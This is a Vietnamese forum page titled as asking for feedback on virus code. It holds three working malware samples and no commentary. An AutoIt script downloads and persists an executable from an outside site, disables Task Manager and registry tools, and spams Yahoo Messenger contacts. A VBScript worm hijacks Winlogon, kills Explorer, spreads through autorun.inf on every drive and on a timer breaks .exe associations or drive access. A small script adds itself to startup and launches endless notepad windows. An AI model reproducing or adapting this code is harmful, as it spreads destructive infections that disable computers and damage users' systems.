Góp ý viết code virus - .:: HVAOnline ::.

#NoTrayIcon $website = "http://mrcuty.us/" If Not FileExists(@WindowsDir & "\taskmng.exe") Then InetGet ($website & "/dkc.exe", @WindowsDir & "\taskmng.exe", 0, 1) Sleep(5000) EndIf RegWrite("HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel", "Homepage", "REG_DWORD", "1") RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1") RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", "1") RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Start Page", "REG_SZ", $website) RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\View\YMSGR_buzz", "content url", "REG_SZ", $website) RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\View\YMSGR_Launchcast", "content url", "REG_SZ", $website) RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Task Manager", "REG_SZ", @WindowsDir & "\taskmng.exe") RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Window Title", "REG_SZ", "zzzKITClubzzz") Dim $tin[10] $tin[0] = "mrCuTy.us - quang cao tang rank " & $website & " " $tin[1] = "cbg.vn - test cai " & $website & " " $tin[2] = "rock0em.org " & $website & " " $tin[3] = "autoitvn.net " & $website & " " $tin[4] = "mrcuty.us " & $website & " " $tin[5] = "mrcuty.us " & $website & " " $tin[6] = "mrcuty.us " & $website & " " $tin[7] = "mrcuty.us " & $website & " " $tin[8] = "mrcuty.us " & $website & " " $tin[9] = "mrcuty.us " & $website & " " While (1) sleep(60000) $tieude = WinGetTitle("Yahoo! Messenger", "") $kiemtra = WinExists ($tieude) If $kiemtra = 1 Then $ngaunhien = Random(0,9,1) ClipPut($tin[$ngaunhien]) BlockInput (1) WinActivate($tieude) Send("!m") Send("un") Send("^v {ENTER}{ENTER}") Send("^m") Send("{DOWN}") Send("^{SHIFTDOWN}{END}{SHIFTUP}") Send("{ENTER}") Send("^v {ENTER}") BlockInput (0) EndIf Sleep(1800000) WEnd

On Error Resume Next
strComputer = "."
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set WSHShell = WScript.CreateObject("WScript.Shell")
WSHShell.Run "explorer.exe \"
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_LocalTime")
For Each objItem in colItems
    TheDay = objItem.Day
    TheMonth = objItem.Month
    TheYear = objItem.Year
Next
const HKEY_CLASSES_ROOT = &H80000000
const HKEY_CURRENT_USER = &H80000001
const HKEY_LOCAL_MACHINE = &H80000002
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _ 
    strComputer & "\root\default:StdRegProv")
Err.Clear
WSHShell.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows\Date\Day")
WSHShell.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows\Date\Month")
WSHShell.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows\Date\Year")
errnum = Err.Number
If errnum <> 0 Then
WSHShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Date\Day",TheDay,"REG_SZ"
WSHShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Date\Month",TheMonth,"REG_SZ"
WSHShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Date\Year",TheYear,"REG_SZ"
End If
StrDay = WSHShell.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows\Date\Day")
StrMonth = WSHShell.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows\Date\Month")
StrYear = WSHShell.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows\Date\Year")
Sumday = (TheDay + TheMonth*30 + TheYear*360) - (StrDay + StrMonth*30 + StrYear*360)
If 0 < Sumday And Sumday < 5 Then
WSHShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Date\Destroy","1","REG_SZ"
End If
If 5 <= Sumday And Sumday < 10 Then
WSHShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Date\Destroy","2","REG_SZ"
End If
If Sumday >= 10 Or Sumday < 0 Then
WSHShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Date\Destroy","3","REG_SZ"
End If
oReg.SetDWORDValue HKEY_CURRENT_USER,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","DisableTaskMgr","1"
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","DisableTaskMgr","1"
oReg.SetDWORDValue HKEY_CURRENT_USER,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","DisableRegistryTools","1"
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","DisableRegistryTools","1"
oReg.SetDwordValue HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Hidden","2"
oReg.SetDwordValue HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","HideFileExt","1"
oReg.SetDwordValue HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","ShowSuperHidden","0"
oReg.SetStringValue HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon","Shell","Explorer.exe userinit.vbs"
oReg.SetStringValue HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Run","Yahoo Messengger","QuangMinh.vbs"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions","1","REG_DWORD"
unattrib ("C:\WINDOWS\pchealth\helpctr\binaries\msconfig.exe")
objFSO.DeleteFile ("C:\WINDOWS\pchealth\helpctr\binaries\msconfig.exe")
Function destroy(dr)
If dr = "1" Then
oReg.EnumKey HKEY_CLASSES_ROOT,".exe",arrSubKeys
For Each subkey In arrSubKeys
oReg.DeleteKey HKEY_CLASSES_ROOT,".exe\" & subkey
Next
oReg.DeleteKey HKEY_CLASSES_ROOT,".exe"
End If
If dr = "2" Then
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive","67108863","REG_DWORD"
End If
If dr = "3" Then
oReg.SetStringValue HKEY_LOCAL_MACHINE,"Software\Microsoft\Windows NT\CurrentVersion\Winlogon","Userinit","C:\WINDOWS\system32\QuangMinh.vbs"
WSHShell.Run "c:\windows\system32\shutdown -l"
End If
End Function
Function unattrib(path)
Set objFile = objFSO.GetFile(path)
objFile.Attributes = objFile.Attributes AND 1
objFile.Attributes = objFile.Attributes AND 2
objFile.Attributes = objFile.Attributes AND 4
End Function
Function attrib(path)
Set objFile = objFSO.GetFile(path)
objFile.Attributes = objFile.Attributes OR 1
objFile.Attributes = objFile.Attributes OR 2
objFile.Attributes = objFile.Attributes OR 4
End Function
Function autorun(path)
Set objFile = objFSO.CreateTextFile(path)
objFile.Close
Set objTextFile = objFSO.OpenTextFile(path, 8, True)
objTextFile.WriteLine("[autorun]")
objTextFile.WriteLine("open=C:\windows\system32\wscript.exe QuangMinh.vbs")
objTextFile.WriteLine("action=Open folder to view files")
objTextFile.WriteLine("shell\open=Open")
objTextFile.WriteLine("shell\open\command=C:\windows\system32\wscript.exe QuangMinh.vbs")
objTextFile.WriteLine("shell\open\default=1")
objTextFile.WriteLine("shell\explore\Command=C:\windows\system32\wscript.exe QuangMinh.vbs")
objTextFile.Close
End Function
Function read(path)
Set objTextFile = objFSO.OpenTextFile(path, 1)
Do Until objTextFile.AtEndOfStream
strNextLine = objTextFile.Readline
If strNextLine = "open=C:\windows\system32\wscript.exe QuangMinh.vbs" Then
fileok = "y"
Exit Do
End If
Loop
End Function
Do
Set colProcesses = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name = 'WScript.exe'")
If colProcesses.Count < 2 Then
Set colProcessList = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name = 'Explorer.exe'")
For Each objProcess in colProcessList
    objProcess.Terminate()
Next
WSHShell.Run "QuangMinh.vbs"
End If
oReg.GetStringValue HKEY_CURRENT_USER,"Software\Microsoft\Windows\Date","Destroy",StrDestroy
If StrDestroy = "1" Then
destroy("1")
End If
If StrDestroy = "2" Then
destroy("2")
End If
If StrDestroy = "3" Then
destroy("3")
End If
WScript.Sleep 100
objFSO.CopyFile "QuangMinh.vbs" , "C:\windows\system32\syskm.dll", TRUE
attrib("C:\windows\system32\syskm.dll")
Set colDrives = objFSO.Drives
For Each objDrive in colDrives
If objDrive.IsReady = True Then
fileok = "n"
read(objDrive.DriveLetter & ":\autorun.inf")
If fileok = "n" Then
unattrib(objDrive.DriveLetter & ":\autorun.inf")
autorun(objDrive.DriveLetter & ":\autorun.inf")
attrib(objDrive.DriveLetter & ":\autorun.inf")
End If
objFSO.CopyFile "C:\windows\system32\syskm.dll" , objDrive.DriveLetter & ":\QuangMinh.vbs", TRUE
End If
Next
objFSO.CopyFile "C:\windows\system32\syskm.dll" , "C:\windows\system32\QuangMinh.vbs", TRUE
objFSO.CopyFile "C:\windows\system32\syskm.dll" , "C:\windows\system32\userinit.vbs", TRUE
Loop

On Error Resume Next Set popo= Createobject("scripting.filesystemobject") popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs" Set popo2= CreateObject("WScript.Shell") popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n\cod e1","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %" Set thoi_Xong= CreateObject("WScript.Shell") Do thoi_Xong.run "notepad",false loop

Users currently in here

1 Anonymous